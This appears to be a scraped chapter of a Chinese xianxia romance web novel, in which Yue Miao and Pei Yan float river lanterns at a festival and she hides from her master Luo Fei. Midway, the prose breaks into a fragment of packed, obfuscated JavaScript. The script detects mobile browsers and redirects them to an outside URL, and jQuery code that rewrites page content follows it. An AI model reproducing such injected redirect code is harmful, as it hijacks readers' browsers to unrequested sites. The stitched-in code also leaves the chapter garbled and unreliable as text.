23. 空翠湿人衣(五)

作品:《修真游戏乙女版

    雨滴自屋檐砸落。


    簌簌雨声之中,油纸伞挣出沉闷一响。


    月杪素手撑开伞,侧目望去,雨珠连接成线,模糊了身边人的面容。


    此间环境清幽,林中小道,正容两人并肩而过。身侧是大片盛开的合欢花,常年不败。


    这条下山的路月杪自己单独走了无数回,并非因为其景色优美,而是这条路人少。人少,方便她跑路回玄月宗,从而避免很多麻烦。


    像与人同行,在这条小路间散步,倒是头一次。


    她回身望向落后她一步、唇线抿得平直的少年。


    如果一定要双修的话,还是选择一个熟知的人比较好吧?


    最起码,和一个毫无感情的陌生人进行合欢心经的研究探讨,月杪自认为是做不到的。


    万事开头难,但总要有个开头。


    月绯不也是私下瞒着她擅自将她的命数与他相连了么?


    若说先前执意修炼,是在与【炉鼎】这个逆天词条较劲,与游戏本身较劲,那现在想修炼的理由纯粹是为了活着,为了飞升,为了斩断一个人为了让她活着而产生的【同生共死】。


    玩家的角色命数,向来是要自己做主的。


    哪怕是角色的亲兄长,也不能干涉。


    ……


    月杪开始和裴厌主动接触。


    这位看着怪异,总是冷着脸的裴师兄,相处起来却意外舒适。


    最重要的是,他长的实在好看。


    乌发散落下来在掌心铺开时,尤为艳美,黑与白,红与白,极具冲击力的颜色交织着。


    月杪有空去合欢宗的时候,总是和裴厌待在一起。两个人都不喜热闹,久而久之,知道两人关系的,只有与裴厌亲近的两位师兄。


    “那她同意与你修炼了吗?”南师兄问。


    裴厌没有回答。


    这份沉默,被重华当成了不好意思的默认。


    于是欣慰地拍了拍师弟的肩,附身轻道:“师兄这里还有些书,回去你再多看看,对修炼有益。”


    师弟情窦初开,他们也愿意帮上一把。能与心仪的女修一同修炼,在合欢宗并不是一件普遍的事情。


    毕竟合欢宗不是一个适合拥有道侣的宗门。


    裴厌将书压在储物戒的最里面,朝山下走去,四下寂静,阶梯两侧昏黄的石灯是黑夜中唯一的光源。


    月杪约了他丑时于山下相见。


    这天是上元节,仙盟百门热闹极了,裴厌原本想同月杪去天街放花灯,只是迟迟未能联络上。


    天街是仙盟范围内最长的一条街,离人境很近,受其影响,每逢重大节日,天街热人潮涌动,模糊了修士与凡人的界限。在天街,你可能与渡劫期的修士擦肩而过,也可能遇到毫无灵根的幼童。


    多数弟子约了心上人一同赏灯,也有人独身一人前去凑个热闹。


    裴厌行至山脚,远处依稀可见天街的灯火,宗门内界却一片昏暗。


    月杪却迟迟未至。


    月杪不住在合欢宗,想要联络,也只能通过玉符传讯。


    裴厌联系过她很多次,只是收到的回复,并不多。


    就和她来宗门的次数一样。


    更多时候,是她单方面去联系他。


    裴厌静静站在暗处等待,心中难免失落,在想到师兄发问的那句话时更甚。


    他们的关系和道侣不做差别。


    会挽手同游,会一同上课,一同吃饭,会亲吻……


    唯独没有修炼。


    裴厌探了探储物戒中的双修古籍,有些迟疑是否该翻开一角,手指抚上书脊,勾开一页。


    “裴厌!”隔着老远,清脆的一声。


    砰地合上了。


    月杪喘着气,匆匆赶来,面上浮着一层薄汗:“我临时有点事,来晚了,你有没有等很久——”


    话里满是歉意。


    “不久。”


    裴厌拿出一方手帕,先是替她擦了汗,又翻出一件薄衣披在她肩头,“我也是刚到。”


    “那正好。”月杪松了口气。


    本来约定同裴厌一起逛天街,未曾想月绯提前出关,非拽着她放了花灯,硬生生熬到这个时间。


    现在去天街勉强能抓到个热闹的尾巴。她伸手,小指勾住裴厌的食指,往天街的方向走去。


    仙盟范围内,禁止使用传送符。


    合欢宗并未纳入仙盟,但天街却是划分在仙盟管辖的范围内。


    这也是月杪来迟的原因之一,因为不得使用传送符,路上便耽搁了不少时间。


    她已经尽最快的速度往合欢宗赶了。


    月杪勾着裴厌的手指绕了绕,另一只手轻点两人交握的手,施了疾影咒,往天街的方向赶。


    她偷偷用余光观测了一下他的面色。


    一切如常。


    风声飒飒,景象急速掠过,很快到了天街。灯市与前几个时辰相比,人少了许多。


    她的小动作十分明显,裴厌看在眼里,心里的失落瞬间散了。


    “今天很忙吗?”他亲昵地揉了揉她的尾指。


    很痒啊!


    裴厌总是喜欢摸她小指,她曾好奇捏过,小指没什么肉,硬得硌手,并不是什么好捏的手感。


    月杪不太自在地抽回手,半晌才道:“不是很忙,是我睡过头了……”


    裴厌还维持着原来的姿势,垂眸看了眼空荡荡的手心,沉默。


    月杪连忙解释:“我去买河灯。”


    天街边上,围绕着一条碧色长河。河水中央,已经飘着不少形状的花灯,这是人境的习俗,用以祈福,或是悼念逝去的亲人。


    月杪揣着两支河灯回来,蹲在河岸,问他:“你放过河灯吗?”


    裴厌多年未踏出合欢宗一步,除却修炼,并不在意其他事,闻言诚实地摇了摇头。


    她将兔子灯折了一折,灵力作笔,“像这样,在这里写上祝福的话语,再将烛火放入其中。”


    裴厌接过月杪递给自己的河灯,沉默了一下。


    他看了看她手中的兔子灯,又看向手中憨态可掬的不知名动物,“这个是……”


    月杪连字也顾不上写了,捂着他的嘴,“这个是狼,不是家养的!”


    裴厌低头与手中的河灯对视。


    分明就是狗。


    虽未去过人境,但他在书中看过,这是人境最受欢迎的灵宠。


    灵宠也好,凶兽亦罢。


    只要是她亲手给他挑选的,无论是什么他都会接受。


    裴厌学着月杪的样子,在河灯上留下字迹。他写的很快,折起灯染上蜡烛时,月杪还在低头纠结,停停顿顿地写着什么。


    裴厌偷偷瞄了一眼,好长一串。


    “太贪心的话河神是不会实现你的愿望的。”他含着笑说道。


    月杪头也不抬:“哪有什么河神,这里是仙盟,不是人境的话本子——”


    磨蹭半天,总算写完了。


    月杪满意地抖了抖河灯,正要固定烛火时,余光扫到一抹青竹色。


    举着烛火的手僵在半空。


    她不敢表现的太明显,鼻尖微微抽动,果然嗅到了空气中的淡淡药香。


    青竹色,药香。


    放眼整个仙盟,与这两个词对上号的,想来只有一人。


    玄月宗主,洛翡。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100673|195524||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >洛翡根骨里带着病,却是实打实的天才。从筑基到升到渡劫后期,不过短短五百年而已。


    初看洛翡人物经历时,月杪便惊讶无比,而后越看越觉震撼。


    他开创玄月宗,与志同道合之友成立仙盟,早年时,魔修肆虐横行,仙魔交战,人境战火漫天。洛翡以一人对抗一万魔修,将其驱出人境,不敢再犯。


    可惜有着一副病弱身子,注定无法飞升。


    月杪后来拜入洛翡门下,敬他的同时又怕他。


    至少此时,洛翡在此处看见她与合欢宗弟子在一起,会很难解释。


    她私下加入合欢宗的事情会暴露。


    再往深究,她的炉鼎体质也会暴露。


    裴厌感觉一阵风自身侧掠过,而后有什么柔软的东西覆上了自己唇角。手中的花灯被这力道一撞,没有拿稳,径直落在地上,烛火灭了。


    天翻地覆。


    两人的唇贴在一起,发丝交缠,分不出彼此。


    裴厌紧紧搂着她,掌心覆住她的手,连气息也将她紧紧缠住。他背对着青竹,将月杪裹在怀里。


    不知过了多久,空气中的淡淡药香散了。


    月杪这才松了口气。


    她又亲了亲裴厌的唇角,示意他松开自己。


    河风一吹,理智重归清醒。裴厌拾起地上的河灯,好在没有摔坏,只是烛火灭了而已。


    他声音沙哑:“还放吗?”


    月杪沿着河边划了两下,放下兔子灯,回头再看裴厌施火咒重燃烛火时,蹙眉:“听说灯灭的寓意不好,不然你那盏还是先别放了。”


    “是怕河神老人家不同意?”


    裴厌拉过她的手,托着河灯,一起放了下去。


    白首不分离。


    他不信什么河神,也不管什么寓意。


    能实现自己愿望的,永远是自己。


    放完河灯,在河边静坐许久,月杪又拉着裴厌买了几份小吃,当然这些多数都进了裴厌的肚子,遇到特别喜欢的,月杪才会吃上一口。


    先前和月绯在天街转了几圈,她已经撑得吃不下了。


    原本她打算同裴厌回合欢宗,完完整整过一次节日。得知洛翡来过河岸,月杪的心神始终不宁。


    洛翡没看见她的正脸,也绝不会想到自己的弟子会与合欢宗的修士光天化日吻到难分彼此。


    应当是没有认出来她。


    只是这一遭后,再想有留宿合欢宗的心思便难了。


    望着尚未完成的任务,月杪又同裴厌腻歪了一会儿,这才离开。


    裴厌抿唇,一直看到月杪的衣角消失在天际,这才转过身。


    分开后,他并未回到合欢宗。


    天光乍亮,灯市的人更少了。裴厌回到河边,四下僻静,他束起头发,挽了挽袖角,手指没入水中,河面上顺水而行的花灯先是定住。


    而后,缓缓逆流而上。


    万千花灯聚拢在这一片水面。


    裴厌干爽的另一只手摸出了先前沾染过月杪气息的手帕,他施了个追踪的咒法,河面上沾染过月杪气息的花灯便缓缓朝着裴厌的方向靠近。


    他静静地等着月杪写过祝愿的兔子灯靠近河岸。


    兔子灯。


    她送给他的狗狗灯。


    还有……


    另一枚兔子灯,和一枚雪狐灯。


    裴厌捞起其中一枚兔子灯,其上并非她写过的一长串话,只有短短几个字。


    “我的阿兄长命万岁。”


    他抿抿唇,放下兔子灯,手颤抖着碰开了雪狐形状的另一盏。


    上面同样只有几个字。


    “愿与月杪共赴死。”